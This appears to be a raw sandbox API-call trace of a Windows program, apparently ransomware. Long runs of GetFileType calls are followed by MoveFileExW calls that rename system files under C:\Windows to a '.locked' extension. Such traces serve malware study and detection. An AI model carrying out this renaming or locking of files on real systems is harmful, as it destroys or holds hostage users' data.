[0192.213] GetFileType (hFile=0xc8) returned 0x1 [0192.214] GetFileType (hFile=0xc4) returned 0x1 [0192.215] GetFileType (hFile=0xc8) returned 0x1 [0192.216] GetFileType (hFile=0xc4) returned 0x1 [0192.221] GetFileType (hFile=0xc8) returned 0x1 [0192.223] GetFileType (hFile=0xc4) returned 0x1 [0192.224] GetFileType (hFile=0xc8) returned 0x1 [0192.226] GetFileType (hFile=0xc4) returned 0x1 [0192.227] GetFileType (hFile=0xc8) returned 0x1 [0192.228] GetFileType (hFile=0xc4) returned 0x1 [0192.229] GetFileType (hFile=0xc8) returned 0x1 [0192.231] GetFileType (hFile=0xc4) returned 0x1 [0192.232] GetFileType (hFile=0xc8) returned 0x1 [0192.233] GetFileType (hFile=0xc4) returned 0x1 [0192.235] GetFileType (hFile=0xc8) returned 0x1 [0192.239] GetFileType (hFile=0xc4) returned 0x1 [0192.240] GetFileType (hFile=0xc8) returned 0x1 [0192.241] GetFileType (hFile=0xc4) returned 0x1 [0192.243] GetFileType (hFile=0xc8) returned 0x1 [0192.244] GetFileType (hFile=0xc4) returned 0x1 [0192.245] GetFileType (hFile=0xc8) returned 0x1 [0192.247] GetFileType (hFile=0xc4) returned 0x1 [0192.248] GetFileType (hFile=0xc8) returned 0x1 [0192.249] GetFileType (hFile=0xc4) returned 0x1 [0192.251] GetFileType (hFile=0xc8) returned 0x1 [0192.252] GetFileType (hFile=0xc4) returned 0x1 [0192.253] GetFileType (hFile=0xc8) returned 0x1 [0192.255] GetFileType (hFile=0xc4) returned 0x1 [0192.256] GetFileType (hFile=0xc8) returned 0x1 [0192.258] GetFileType (hFile=0xc4) returned 0x1 [0192.260] GetFileType (hFile=0xc8) returned 0x1 [0192.262] GetFileType (hFile=0xc4) returned 0x1 [0192.263] GetFileType (hFile=0xc8) returned 0x1 [0192.268] GetFileType (hFile=0xc8) returned 0x1 [0192.269] GetFileType (hFile=0xc4) returned 0x1 [0192.271] GetFileType (hFile=0xc8) returned 0x1 [0192.272] GetFileType (hFile=0xc4) returned 0x1 [0192.273] GetFileType (hFile=0xc8) returned 0x1 [0192.275] GetFileType (hFile=0xc4) returned 0x1 [0192.277] GetFileType (hFile=0xc8) returned 0x1 [0192.278] GetFileType (hFile=0xc4) returned 0x1 [0192.279] GetFileType (hFile=0xc8) returned 0x1 [0192.281] GetFileType (hFile=0xc4) returned 0x1 [0192.282] GetFileType (hFile=0xc8) returned 0x1 [0192.284] GetFileType (hFile=0xc4) returned 0x1 [0192.286] GetFileType (hFile=0xc8) returned 0x1 [0192.287] GetFileType (hFile=0xc4) returned 0x1 [0192.288] GetFileType (hFile=0xc8) returned 0x1 [0192.290] GetFileType (hFile=0xc4) returned 0x1 [0192.291] GetFileType (hFile=0xc8) returned 0x1 [0192.293] GetFileType (hFile=0xc4) returned 0x1 [0192.295] GetFileType (hFile=0xc8) returned 0x1 [0192.297] GetFileType (hFile=0xc4) returned 0x1 [0192.298] GetFileType (hFile=0xc8) returned 0x1 [0192.299] GetFileType (hFile=0xc4) returned 0x1 [0192.302] GetFileType (hFile=0xc8) returned 0x1 [0192.303] GetFileType (hFile=0xc4) returned 0x1 [0192.305] GetFileType (hFile=0xc8) returned 0x1 [0192.306] GetFileType (hFile=0xc4) returned 0x1 [0192.308] GetFileType (hFile=0xc8) returned 0x1 [0192.309] GetFileType (hFile=0xc4) returned 0x1 [0192.321] GetFileType (hFile=0xc8) returned 0x1 [0192.322] GetFileType (hFile=0xc4) returned 0x1 [0192.326] GetFileType (hFile=0xc4) returned 0x1 [0192.328] GetFileType (hFile=0xc4) returned 0x1 [0192.331] GetFileType (hFile=0xc4) returned 0x1 [0192.430] GetFileType (hFile=0xc4) returned 0x1 [0192.447] GetFileType (hFile=0xc4) returned 0x1 [0192.448] GetFileType (hFile=0xc4) returned 0x1 [0192.454] GetFileType (hFile=0xc4) returned 0x1 [0192.455] GetFileType (hFile=0xc4) returned 0x1 [0192.461] GetFileType (hFile=0xc4) returned 0x1 [0192.465] GetFileType (hFile=0xc4) returned 0x1 [0192.466] GetFileType (hFile=0xc8) returned 0x1 [0192.468] GetFileType (hFile=0xc4) returned 0x1 [0192.469] GetFileType (hFile=0xc8) returned 0x1 [0192.470] GetFileType (hFile=0xc4) returned 0x1 [0192.472] GetFileType (hFile=0xc8) returned 0x1 [0192.475] GetFileType (hFile=0xc4) returned 0x1 [0192.479] GetFileType (hFile=0xc4) returned 0x1 [0192.480] GetFileType (hFile=0xc4) returned 0x1 [0192.484] GetFileType (hFile=0xc4) returned 0x1 [0192.490] GetFileType (hFile=0xc4) returned 0x1 [0192.504] GetFileType (hFile=0xc4) returned 0x1 [0192.514] GetFileType (hFile=0xc4) returned 0x1 [0192.516] GetFileType (hFile=0xc4) returned 0x1 [0192.521] GetFileType (hFile=0xc4) returned 0x1 [0192.569] GetFileType (hFile=0xc4) returned 0x1 [0192.571] GetFileType (hFile=0xc8) returned 0x1 [0192.572] GetFileType (hFile=0xc4) returned 0x1 [0192.573] GetFileType (hFile=0xc8) returned 0x1 [0192.575] GetFileType (hFile=0xc4) returned 0x1 [0192.755] GetFileType (hFile=0xc4) returned 0x1 [0193.003] GetFileType (hFile=0xc4) returned 0x1 [0193.030] GetFileType (hFile=0xc8) returned 0x1 [0193.032] GetFileType (hFile=0xc4) returned 0x1 [0193.074] GetFileType (hFile=0xc8) returned 0x1 [0193.076] GetFileType (hFile=0xc4) returned 0x1 [0193.077] GetFileType (hFile=0xc8) returned 0x1 [0193.078] GetFileType (hFile=0xc4) returned 0x1 [0193.080] GetFileType (hFile=0xc8) returned 0x1 [0193.081] GetFileType (hFile=0xc4) returned 0x1 [0193.084] GetFileType (hFile=0xc8) returned 0x1 [0193.085] GetFileType (hFile=0xc4) returned 0x1 [0193.086] GetFileType (hFile=0xc8) returned 0x1 [0193.088] GetFileType (hFile=0xc4) returned 0x1 [0193.089] GetFileType (hFile=0xc8) returned 0x1 [0193.090] GetFileType (hFile=0xc4) returned 0x1 [0193.092] GetFileType (hFile=0xc8) returned 0x1 [0193.093] GetFileType (hFile=0xc4) returned 0x1 [0193.103] GetFileType (hFile=0xc8) returned 0x1 [0193.105] GetFileType (hFile=0xc4) returned 0x1 [0193.107] GetFileType (hFile=0xc8) returned 0x1 [0193.108] GetFileType (hFile=0xc4) returned 0x1 [0193.111] GetFileType (hFile=0xc8) returned 0x1 [0193.112] GetFileType (hFile=0xc4) returned 0x1 [0193.114] GetFileType (hFile=0xc8) returned 0x1 [0193.115] GetFileType (hFile=0xc4) returned 0x1 [0193.118] GetFileType (hFile=0xc8) returned 0x1 [0193.119] GetFileType (hFile=0xc4) returned 0x1 [0193.120] GetFileType (hFile=0xc8) returned 0x1 [0193.122] GetFileType (hFile=0xc4) returned 0x1 [0193.129] GetFileType (hFile=0xc8) returned 0x1 [0193.130] GetFileType (hFile=0xc4) returned 0x1 [0193.132] GetFileType (hFile=0xc8) returned 0x1 [0193.133] GetFileType (hFile=0xc4) returned 0x1 [0193.139] GetFileType (hFile=0xc8) returned 0x1 [0193.141] GetFileType (hFile=0xc4) returned 0x1 [0193.146] GetFileType (hFile=0xc4) returned 0x1 [0193.161] GetFileType (hFile=0xc4) returned 0x1 [0193.162] GetFileType (hFile=0xc4) returned 0x1 [0193.163] GetFileType (hFile=0xc4) returned 0x1 [0193.164] GetFileType (hFile=0xc4) returned 0x1 [0193.167] GetFileType (hFile=0xc8) returned 0x1 [0193.168] GetFileType (hFile=0xc4) returned 0x1 [0193.170] GetFileType (hFile=0xc8) returned 0x1 [0193.171] GetFileType (hFile=0xc4) returned 0x1 [0193.172] GetFileType (hFile=0xc8) returned 0x1 [0193.174] GetFileType (hFile=0xc4) returned 0x1 [0193.175] GetFileType (hFile=0xc8) returned 0x1 [0193.176] GetFileType (hFile=0xc4) returned 0x1 [0193.178] GetFileType (hFile=0xc8) returned 0x1 [0193.179] GetFileType (hFile=0xc4) returned 0x1 [0193.181] GetFileType (hFile=0xc8) returned 0x1 [0193.196] GetFileType (hFile=0xc4) returned 0x1 [0193.198] GetFileType (hFile=0xc8) returned 0x1 [0193.200] GetFileType (hFile=0xc4) returned 0x1 [0193.201] GetFileType (hFile=0xc8) returned 0x1 [0193.202] GetFileType (hFile=0xc4) returned 0x1 [0193.204] GetFileType (hFile=0xc8) returned 0x1 [0193.205] GetFileType (hFile=0xc4) returned 0x1 [0193.208] GetFileType (hFile=0xc8) returned 0x1 [0193.209] GetFileType (hFile=0xc4) returned 0x1 [0193.211] GetFileType (hFile=0xc8) returned 0x1 [0193.212] GetFileType (hFile=0xc4) returned 0x1 [0193.213] GetFileType (hFile=0xc8) returned 0x1 [0193.219] GetFileType (hFile=0xc8) returned 0x1 [0193.221] GetFileType (hFile=0xc4) returned 0x1 [0193.222] GetFileType (hFile=0xc8) returned 0x1 [0193.223] GetFileType (hFile=0xc4) returned 0x1 [0193.225] GetFileType (hFile=0xc8) returned 0x1 [0193.226] GetFileType (hFile=0xc4) returned 0x1 [0193.227] GetFileType (hFile=0xc8) returned 0x1 [0193.229] GetFileType (hFile=0xc4) returned 0x1 [0193.230] GetFileType (hFile=0xc8) returned 0x1 [0193.231] GetFileType (hFile=0xc4) returned 0x1 [0193.233] GetFileType (hFile=0xc8) returned 0x1 [0193.235] GetFileType (hFile=0xc4) returned 0x1 [0193.236] GetFileType (hFile=0xc8) returned 0x1 [0193.237] GetFileType (hFile=0xc4) returned 0x1 [0193.239] GetFileType (hFile=0xc8) returned 0x1 [0193.240] GetFileType (hFile=0xc4) returned 0x1 [0193.241] GetFileType (hFile=0xc8) returned 0x1 [0193.242] GetFileType (hFile=0xc4) returned 0x1 [0193.247] GetFileType (hFile=0xc4) returned 0x1 [0193.248] GetFileType (hFile=0xc4) returned 0x1 [0193.249] GetFileType (hFile=0xc8) returned 0x1 [0193.251] GetFileType (hFile=0xc4) returned 0x1 [0193.252] GetFileType (hFile=0xc8) returned 0x1 [0193.254] GetFileType (hFile=0xc4) returned 0x1 [0193.255] GetFileType (hFile=0xc8) returned 0x1 [0193.256] GetFileType (hFile=0xc4) returned 0x1 [0193.258] GetFileType (hFile=0xc8) returned 0x1 [0193.259] GetFileType (hFile=0xc4) returned 0x1 [0193.262] GetFileType (hFile=0xc4) returned 0x1 [0193.270] GetFileType (hFile=0xc8) returned 0x1 [0193.272] GetFileType (hFile=0xc4) returned 0x1 [0193.273] GetFileType (hFile=0xc8) returned 0x1 [0193.274] GetFileType (hFile=0xc4) returned 0x1 [0193.275] GetFileType (hFile=0xc8) returned 0x1 [0193.282] GetFileType (hFile=0xc8) returned 0x1 [0193.283] GetFileType (hFile=0xc4) returned 0x1 [0193.285] GetFileType (hFile=0xc8) returned 0x1 [0193.288] GetFileType (hFile=0xc4) returned 0x1 [0193.290] GetFileType (hFile=0xc8) returned 0x1 [0193.291] GetFileType (hFile=0xc4) returned 0x1 [0193.292] GetFileType (hFile=0xc8) returned 0x1 [0193.294] GetFileType (hFile=0xc4) returned 0x1 [0193.295] GetFileType (hFile=0xc8) returned 0x1 [0193.296] GetFileType (hFile=0xc4) returned 0x1 [0193.297] GetFileType (hFile=0xc8) returned 0x1 [0193.302] GetFileType (hFile=0xc8) returned 0x1 [0193.303] GetFileType (hFile=0xc4) returned 0x1 [0193.305] GetFileType (hFile=0xc8) returned 0x1 [0193.306] GetFileType (hFile=0xc4) returned 0x1 [0193.307] GetFileType (hFile=0xc8) returned 0x1 [0193.308] GetFileType (hFile=0xc4) returned 0x1 [0193.310] GetFileType (hFile=0xc8) returned 0x1 [0193.311] GetFileType (hFile=0xc4) returned 0x1 [0193.318] GetFileType (hFile=0xc4) returned 0x1 [0193.320] GetFileType (hFile=0xc8) returned 0x1 [0193.321] GetFileType (hFile=0xc4) returned 0x1 [0193.322] GetFileType (hFile=0xc8) returned 0x1 [0193.324] GetFileType (hFile=0xc4) returned 0x1 [0193.325] GetFileType (hFile=0xc8) returned 0x1 [0193.326] GetFileType (hFile=0xc4) returned 0x1 [0193.328] GetFileType (hFile=0xc8) returned 0x1 [0193.329] GetFileType (hFile=0xc4) returned 0x1 [0193.330] GetFileType (hFile=0xc8) returned 0x1 [0193.332] GetFileType (hFile=0xc4) returned 0x1 [0193.333] GetFileType (hFile=0xc8) returned 0x1 [0193.335] GetFileType (hFile=0xc4) returned 0x1 [0193.336] GetFileType (hFile=0xc8) returned 0x1 [0193.337] GetFileType (hFile=0xc4) returned 0x1 [0193.338] GetFileType (hFile=0xc8) returned 0x1 [0193.340] GetFileType (hFile=0xc4) returned 0x1 [0193.344] GetFileType (hFile=0xc4) returned 0x1 [0193.345] GetFileType (hFile=0xc4) returned 0x1 [0193.347] GetFileType (hFile=0xc8) returned 0x1 [0193.349] GetFileType (hFile=0xc4) returned 0x1 [0193.350] GetFileType (hFile=0xc8) returned 0x1 [0193.351] GetFileType (hFile=0xc4) returned 0x1 [0193.356] GetFileType (hFile=0xc4) returned 0x1 [0193.357] GetFileType (hFile=0xc4) returned 0x1 [0193.358] GetFileType (hFile=0xc8) returned 0x1 [0193.359] GetFileType (hFile=0xc4) returned 0x1 [0193.361] GetFileType (hFile=0xc8) returned 0x1 [0193.364] GetFileType (hFile=0xc4) returned 0x1 [0193.365] GetFileType (hFile=0xc8) returned 0x1 [0193.367] GetFileType (hFile=0xc4) returned 0x1 [0193.368] GetFileType (hFile=0xc8) returned 0x1 [0193.369] GetFileType (hFile=0xc4) returned 0x1 [0193.371] GetFileType (hFile=0xc8) returned 0x1 [0193.372] GetFileType (hFile=0xc4) returned 0x1 [0193.374] GetFileType (hFile=0xc8) returned 0x1 [0193.375] GetFileType (hFile=0xc4) returned 0x1 [0193.376] GetFileType (hFile=0xc8) returned 0x1 [0193.378] GetFileType (hFile=0xc4) returned 0x1 [0193.380] GetFileType (hFile=0xc8) returned 0x1 [0193.381] GetFileType (hFile=0xc4) returned 0x1 [0193.383] GetFileType (hFile=0xc8) returned 0x1 [0193.384] GetFileType (hFile=0xc4) returned 0x1 [0193.385] GetFileType (hFile=0xc8) returned 0x1 [0193.386] GetFileType (hFile=0xc4) returned 0x1 [0193.388] GetFileType (hFile=0xc8) returned 0x1 [0193.389] GetFileType (hFile=0xc4) returned 0x1 [0193.391] GetFileType (hFile=0xc8) returned 0x1 [0193.392] GetFileType (hFile=0xc4) returned 0x1 [0193.393] GetFileType (hFile=0xc8) returned 0x1 [0193.395] GetFileType (hFile=0xc4) returned 0x1 [0193.398] GetFileType (hFile=0xc8) returned 0x1 [0193.399] GetFileType (hFile=0xc4) returned 0x1 [0193.401] GetFileType (hFile=0xc8) returned 0x1 [0193.402] GetFileType (hFile=0xc4) returned 0x1 [0193.404] GetFileType (hFile=0xc8) returned 0x1 [0193.405] GetFileType (hFile=0xc4) returned 0x1 [0193.407] GetFileType (hFile=0xc8) returned 0x1 [0193.408] GetFileType (hFile=0xc4) returned 0x1 [0193.410] GetFileType (hFile=0xc8) returned 0x1 [0193.412] GetFileType (hFile=0xc4) returned 0x1 [0193.413] GetFileType (hFile=0xc8) returned 0x1 [0193.414] GetFileType (hFile=0xc4) returned 0x1 [0193.416] GetFileType (hFile=0xc8) returned 0x1 [0193.418] GetFileType (hFile=0xc4) returned 0x1 [0193.419] GetFileType (hFile=0xc8) returned 0x1 [0193.420] GetFileType (hFile=0xc4) returned 0x1 [0193.425] GetFileType (hFile=0xc8) returned 0x1 [0193.427] GetFileType (hFile=0xc4) returned 0x1 [0193.428] GetFileType (hFile=0xc8) returned 0x1 [0193.432] GetFileType (hFile=0xc8) returned 0x1 [0193.433] GetFileType (hFile=0xc4) returned 0x1 [0193.434] GetFileType (hFile=0xc8) returned 0x1 [0193.443] GetFileType (hFile=0xc4) returned 0x1 [0193.444] GetFileType (hFile=0xc8) returned 0x1 [0193.446] GetFileType (hFile=0xc4) returned 0x1 [0193.447] GetFileType (hFile=0xc8) returned 0x1 [0193.449] GetFileType (hFile=0xc4) returned 0x1 [0193.452] GetFileType (hFile=0xc8) returned 0x1 [0193.453] GetFileType (hFile=0xc4) returned 0x1 [0193.454] GetFileType (hFile=0xc8) returned 0x1 [0193.456] GetFileType (hFile=0xc4) returned 0x1 [0193.458] GetFileType (hFile=0xc8) returned 0x1 [0193.460] GetFileType (hFile=0xc4) returned 0x1 [0193.463] GetFileType (hFile=0xc8) returned 0x1 [0193.465] GetFileType (hFile=0xc4) returned 0x1 [0193.466] GetFileType (hFile=0xc8) returned 0x1 [0193.468] GetFileType (hFile=0xc4) returned 0x1 [0193.469] GetFileType (hFile=0xc8) returned 0x1 [0193.471] GetFileType (hFile=0xc4) returned 0x1 [0193.473] GetFileType (hFile=0xc8) returned 0x1 [0193.474] GetFileType (hFile=0xc4) returned 0x1 [0193.475] GetFileType (hFile=0xc8) returned 0x1 [0193.476] GetFileType (hFile=0xc4) returned 0x1 [0193.477] GetFileType (hFile=0xc8) returned 0x1 [0193.479] GetFileType (hFile=0xc4) returned 0x1 [0193.480] GetFileType (hFile=0xc8) returned 0x1 [0193.482] GetFileType (hFile=0xc4) returned 0x1 [0193.484] GetFileType (hFile=0xc8) returned 0x1 [0193.485] GetFileType (hFile=0xc4) returned 0x1 [0193.486] GetFileType (hFile=0xc8) returned 0x1 [0193.488] GetFileType (hFile=0xc4) returned 0x1 [0193.489] GetFileType (hFile=0xc8) returned 0x1 [0193.490] GetFileType (hFile=0xc4) returned 0x1 [0193.492] GetFileType (hFile=0xc8) returned 0x1 [0193.493] GetFileType (hFile=0xc4) returned 0x1 [0193.495] GetFileType (hFile=0xc8) returned 0x1 [0193.496] GetFileType (hFile=0xc4) returned 0x1 [0193.498] GetFileType (hFile=0xc8) returned 0x1 [0193.499] GetFileType (hFile=0xc4) returned 0x1 [0193.501] GetFileType (hFile=0xc8) returned 0x1 [0193.503] GetFileType (hFile=0xc4) returned 0x1 [0193.505] GetFileType (hFile=0xc8) returned 0x1 [0193.506] GetFileType (hFile=0xc4) returned 0x1 [0193.507] GetFileType (hFile=0xc8) returned 0x1 [0193.508] GetFileType (hFile=0xc4) returned 0x1 [0193.510] GetFileType (hFile=0xc8) returned 0x1 [0193.511] GetFileType (hFile=0xc4) returned 0x1 [0193.512] GetFileType (hFile=0xc8) returned 0x1 [0193.513] GetFileType (hFile=0xc4) returned 0x1 [0193.514] GetFileType (hFile=0xc8) returned 0x1 [0193.516] GetFileType (hFile=0xc4) returned 0x1 [0193.517] GetFileType (hFile=0xc8) returned 0x1 [0193.518] GetFileType (hFile=0xc4) returned 0x1 [0193.520] GetFileType (hFile=0xc8) returned 0x1 [0193.521] GetFileType (hFile=0xc4) returned 0x1 [0193.522] GetFileType (hFile=0xc8) returned 0x1 [0193.523] GetFileType (hFile=0xc4) returned 0x1 [0193.528] GetFileType (hFile=0xc8) returned 0x1 [0193.530] GetFileType (hFile=0xc4) returned 0x1 [0193.534] GetFileType (hFile=0xc8) returned 0x1 [0193.545] GetFileType (hFile=0xc8) returned 0x1 [0193.546] GetFileType (hFile=0xc4) returned 0x1 [0193.550] GetFileType (hFile=0xc4) returned 0x1 [0193.552] GetFileType (hFile=0xc4) returned 0x1 [0193.555] GetFileType (hFile=0xc4) returned 0x1 [0193.557] GetFileType (hFile=0xc4) returned 0x1 [0193.560] GetFileType (hFile=0xc4) returned 0x1 [0193.562] GetFileType (hFile=0xc4) returned 0x1 [0193.566] GetFileType (hFile=0xc4) returned 0x1 [0193.567] GetFileType (hFile=0xc4) returned 0x1 [0193.569] GetFileType (hFile=0xc8) returned 0x1 [0193.571] GetFileType (hFile=0xc4) returned 0x1 [0193.574] GetFileType (hFile=0xc4) returned 0x1 [0193.578] GetFileType (hFile=0xc4) returned 0x1 [0193.579] GetFileType (hFile=0xc8) returned 0x1 [0193.581] GetFileType (hFile=0xc4) returned 0x1 [0193.582] GetFileType (hFile=0xc8) returned 0x1 [0193.583] GetFileType (hFile=0xc4) returned 0x1 [0193.584] GetFileType (hFile=0xc8) returned 0x1 [0193.586] GetFileType (hFile=0xc4) returned 0x1 [0193.595] GetFileType (hFile=0xc4) returned 0x1 [0193.596] GetFileType (hFile=0xc4) returned 0x1 [0193.601] GetFileType (hFile=0xc4) returned 0x1 [0193.614] GetFileType (hFile=0xc4) returned 0x1 [0193.615] GetFileType (hFile=0xc4) returned 0x1 [0193.616] GetFileType (hFile=0xc4) returned 0x1 [0193.617] GetFileType (hFile=0xc4) returned 0x1 [0193.620] GetFileType (hFile=0xc4) returned 0x1 [0193.621] GetFileType (hFile=0xc4) returned 0x1 [0193.622] GetFileType (hFile=0xc4) returned 0x1 [0193.624] GetFileType (hFile=0xc4) returned 0x1 [0193.628] GetFileType (hFile=0xc4) returned 0x1 [0193.661] GetFileType (hFile=0xc4) returned 0x1 [0193.679] GetFileType (hFile=0xc4) returned 0x1 [0193.681] GetFileType (hFile=0xc4) returned 0x1 [0193.689] GetFileType (hFile=0xc4) returned 0x1 [0193.694] GetFileType (hFile=0xc4) returned 0x1 [0193.695] GetFileType (hFile=0xc4) returned 0x1 [0193.696] GetFileType (hFile=0xc4) returned 0x1 [0193.731] GetFileType (hFile=0xc4) returned 0x1 [0193.732] GetFileType (hFile=0xc8) returned 0x1 [0193.733] GetFileType (hFile=0xc4) returned 0x1 [0193.734] GetFileType (hFile=0xc8) returned 0x1 [0193.736] GetFileType (hFile=0xc4) returned 0x1 [0193.829] GetFileType (hFile=0xc8) returned 0x1 [0193.830] GetFileType (hFile=0xc4) returned 0x1 [0193.857] GetFileType (hFile=0xc8) returned 0x1 [0193.859] GetFileType (hFile=0xc4) returned 0x1 [0193.860] GetFileType (hFile=0xc8) returned 0x1 [0193.862] GetFileType (hFile=0xc4) returned 0x1 [0193.863] GetFileType (hFile=0xc8) returned 0x1 [0193.865] GetFileType (hFile=0xc4) returned 0x1 [0193.866] GetFileType (hFile=0xc8) returned 0x1 [0196.105] MoveFileExW (lpExistingFileName="C:\\\\Windows\\bootstat.dat" (normalized: "c:\\windows\\bootstat.dat"), lpNewFileName="C:\\\\Windows\\bootstat.dat.locked" (normalized: "c:\\windows\\bootstat.dat.locked"), dwFlags=0x2) returned 1 [0196.121] MoveFileExW (lpExistingFileName="C:\\\\Windows\\debug\\sammui.log" (normalized: "c:\\windows\\debug\\sammui.log"), lpNewFileName="C:\\\\Windows\\debug\\sammui.log.locked" (normalized: "c:\\windows\\debug\\sammui.log.locked"), dwFlags=0x2) returned 1 [0196.126] MoveFileExW (lpExistingFileName="C:\\\\Windows\\debug\\WIA\\wiatrace.log" (normalized: "c:\\windows\\debug\\wia\\wiatrace.log"), lpNewFileName="C:\\\\Windows\\debug\\WIA\\wiatrace.log.locked" (normalized: "c:\\windows\\debug\\wia\\wiatrace.log.locked"), dwFlags=0x2) returned 1 [0196.253] GetLastError () returned 0x5 [0196.253] GetLastError () returned 0x5 [0196.297] MoveFileExW (lpExistingFileName="C:\\\\Windows\\DtcInstall.log" (normalized: "c:\\windows\\dtcinstall.log"), lpNewFileName="C:\\\\Windows\\DtcInstall.log.locked" (normalized: "c:\\windows\\dtcinstall.log.locked"), dwFlags=0x2) returned 1 [0197.852] MoveFileExW (lpExistingFileName="C:\\\\Windows\\inf\\.NET CLR Networking 4.0.0.0\\_NetworkingPerfCounters.h" (normalized: "c:\\windows\\inf\\.net clr networking 4.0.0.0\\_networkingperfcounters.h"), lpNewFileName="C:\\\\Windows\\inf\\.NET CLR Networking 4.0.0.0\\_NetworkingPerfCounters.h.locked" (normalized: "c:\\windows\\inf\\.net clr networking 4.0.0.0\\_networkingperfcounters.h.locked"), dwFlags=0x2) returned 1 [0197.873] MoveFileExW (lpExistingFileName="C:\\\\Windows\\inf\\.NET Memory Cache 4.0\\netmemorycache.h" (normalized: "c:\\windows\\inf\\.net memory cache 4.0\\netmemorycache.h"), lpNewFileName="C:\\\\Windows\\inf\\.NET Memory Cache 4.0\\netmemorycache.h.locked" (normalized: "c:\\windows\\inf\\.net memory cache 4.0\\netmemorycache.h.locked"), dwFlags=0x2) returned 1 [0197.937] MoveFileExW (lpExistingFileName="C:\\\\Windows\\inf\\ASP.NET\\aspnet_perf.h" (normalized: "c:\\windows\\inf\\asp.net\\aspnet_perf.h"), lpNewFileName="C:\\\\Windows\\inf\\ASP.NET\\aspnet_perf.h.locked" (normalized: "c:\\windows\\inf\\asp.net\\aspnet_perf.h.locked"), dwFlags=0x2) returned 1 [0197.988] MoveFileExW (lpExistingFileName="C:\\\\Windows\\inf\\ASP.NET_4.0.30319\\aspnet_perf.h" (normalized: "c:\\windows\\inf\\asp.net_4.0.30319\\aspnet_perf.h"), lpNewFileName="C:\\\\Windows\\inf\\ASP.NET_4.0.30319\\aspnet_perf.h.locked" (normalized: "c:\\windows\\inf\\asp.net_4.0.30319\\aspnet_perf.h.locked"), dwFlags=0x2) returned 1 [0198.031] MoveFileExW (lpExistingFileName="C:\\\\Windows\\inf\\aspnet_state\\aspnet_state_perf.h" (normalized: "c:\\windows\\inf\\aspnet_state\\aspnet_state_perf.h"), lpNewFileName="C:\\\\Windows\\inf\\aspnet_state\\aspnet_state_perf.h.locked" (normalized: "c:\\windows\\inf\\aspnet_state\\aspnet_state_perf.h.locked"), dwFlags=0x2) returned 1 [0198.076] MoveFileExW (lpExistingFileName="C:\\\\Windows\\inf\\MSDTC Bridge 3.0.0.0\\_TransactionBridgePerfCounters.h" (normalized: "c:\\windows\\inf\\msdtc bridge 3.0.0.0\\_transactionbridgeperfcounters.h"), lpNewFileName="C:\\\\Windows\\inf\\MSDTC Bridge 3.0.0.0\\_TransactionBridgePerfCounters.h.locked" (normalized: "c:\\windows\\inf\\msdtc bridge 3.0.0.0\\_transactionbridgeperfcounters.h.locked"), dwFlags=0x2) returned 1 [0198.144] MoveFileExW (lpExistingFileName="C:\\\\Windows\\inf\\MSDTC Bridge 4.0.0.0\\_TransactionBridgePerfCounters.h" (normalized: "c:\\windows\\inf\\msdtc bridge 4.0.0.0\\_transactionbridgeperfcounters.h"), lpNewFileName="C:\\\\Windows\\inf\\MSDTC Bridge 4.0.0.0\\_TransactionBridgePerfCounters.h.locked" (normalized: "c:\\windows\\inf\\msdtc bridge 4.0.0.0\\_transactionbridgeperfcounters.h.locked"), dwFlags=0x2) returned 1 [0198.184] MoveFileExW (lpExistingFileName="C:\\\\Windows\\inf\\PERFLIB\\0000\\perfc.dat" (normalized: "c:\\windows\\inf\\perflib\\0000\\perfc.dat"), lpNewFileName="C:\\\\Windows\\inf\\PERFLIB\\0000\\perfc.dat.locked" (normalized: "c:\\windows\\inf\\perflib\\0000\\perfc.dat.locked"), dwFlags=0x2) returned 1 [0198.219] MoveFileExW (lpExistingFileName="C:\\\\Windows\\inf\\PERFLIB\\0000\\perfd.dat" (normalized: "c:\\windows\\inf\\perflib\\0000\\perfd.dat"), lpNewFileName="C:\\\\Windows\\inf\\PERFLIB\\0000\\perfd.dat.locked" (normalized: "c:\\windows\\inf\\perflib\\0000\\perfd.dat.locked"), dwFlags=0x2) returned 1 [0198.523] MoveFileExW (lpExistingFileName="C:\\\\Windows\\inf\\PERFLIB\\0000\\perfh.dat" (normalized: "c:\\windows\\inf\\perflib\\0000\\perfh.dat"), lpNewFileName="C:\\\\Windows\\inf\\PERFLIB\\0000\\perfh.dat.locked" (normalized: "c:\\windows\\inf\\perflib\\0000\\perfh.dat.locked"), dwFlags=0x2) returned 1 [0198.817] MoveFileExW (lpExistingFileName="C:\\\\Windows\\inf\\PERFLIB\\0000\\perfi.dat" (normalized: "c:\\windows\\inf\\perflib\\0000\\perfi.dat"), lpNewFileName="C:\\\\Windows\\inf\\PERFLIB\\0000\\perfi.dat.locked" (normalized: "c:\\windows\\inf\\perflib\\0000\\perfi.dat.locked"), dwFlags=0x2) returned 1 [0198.851] MoveFileExW (lpExistingFileName="C:\\\\Windows\\inf\\PERFLIB\\0409\\perfc.dat" (normalized: "c:\\windows\\inf\\perflib\\0409\\perfc.dat"), lpNewFileName="C:\\\\Windows\\inf\\PERFLIB\\0409\\perfc.dat.locked" (normalized: "c:\\windows\\inf\\perflib\\0409\\perfc.dat.locked"), dwFlags=0x2) returned 1 [0199.102] MoveFileExW (lpExistingFileName="C:\\\\Windows\\inf\\PERFLIB\\0409\\perfd.dat" (normalized: "c:\\windows\\inf\\perflib\\0409\\perfd.dat"), lpNewFileName="C:\\\\Windows\\inf\\PERFLIB\\0409\\perfd.dat.locked" (normalized: "c:\\windows\\inf\\perflib\\0409\\perfd.dat.locked"), dwFlags=0x2) returned 1 [0199.399] MoveFileExW (lpExistingFileName="C:\\\\Windows\\inf\\PERFLIB\\0409\\perfh.dat" (normalized: "c:\\windows\\inf\\perflib\\0409\\perfh.dat"), lpNewFileName="C:\\\\Windows\\inf\\PERFLIB\\0409\\perfh.dat.locked" (normalized: "c:\\windows\\inf\\perflib\\0409\\perfh.dat.locked"), dwFlags=0x2) returned 1 [0199.707] MoveFileExW (lpExistingFileName="C:\\\\Windows\\inf\\PERFLIB\\0409\\perfi.dat" (normalized: "c:\\windows\\inf\\perflib\\0409\\perfi.dat"), lpNewFileName="C:\\\\Windows\\inf\\PERFLIB\\0409\\perfi.dat.locked" (normalized: "c:\\windows\\inf\\perflib\\0409\\perfi.dat.locked"), dwFlags=0x2) returned 1 [0199.736] MoveFileExW (lpExistingFileName="C:\\\\Windows\\inf\\ServiceModelEndpoint 3.0.0.0\\_ServiceModelEndpointPerfCounters.h" (normalized: "c:\\windows\\inf\\servicemodelendpoint 3.0.0.0\\_servicemodelendpointperfcounters.h"), lpNewFileName="C:\\\\Windows\\inf\\ServiceModelEndpoint 3.0.0.0\\_ServiceModelEndpointPerfCounters.h.locked" (normalized: "c:\\windows\\inf\\servicemodelendpoint 3.0.0.0\\_servicemodelendpointperfcounters.h.locked"), dwFlags=0x2) returned 1 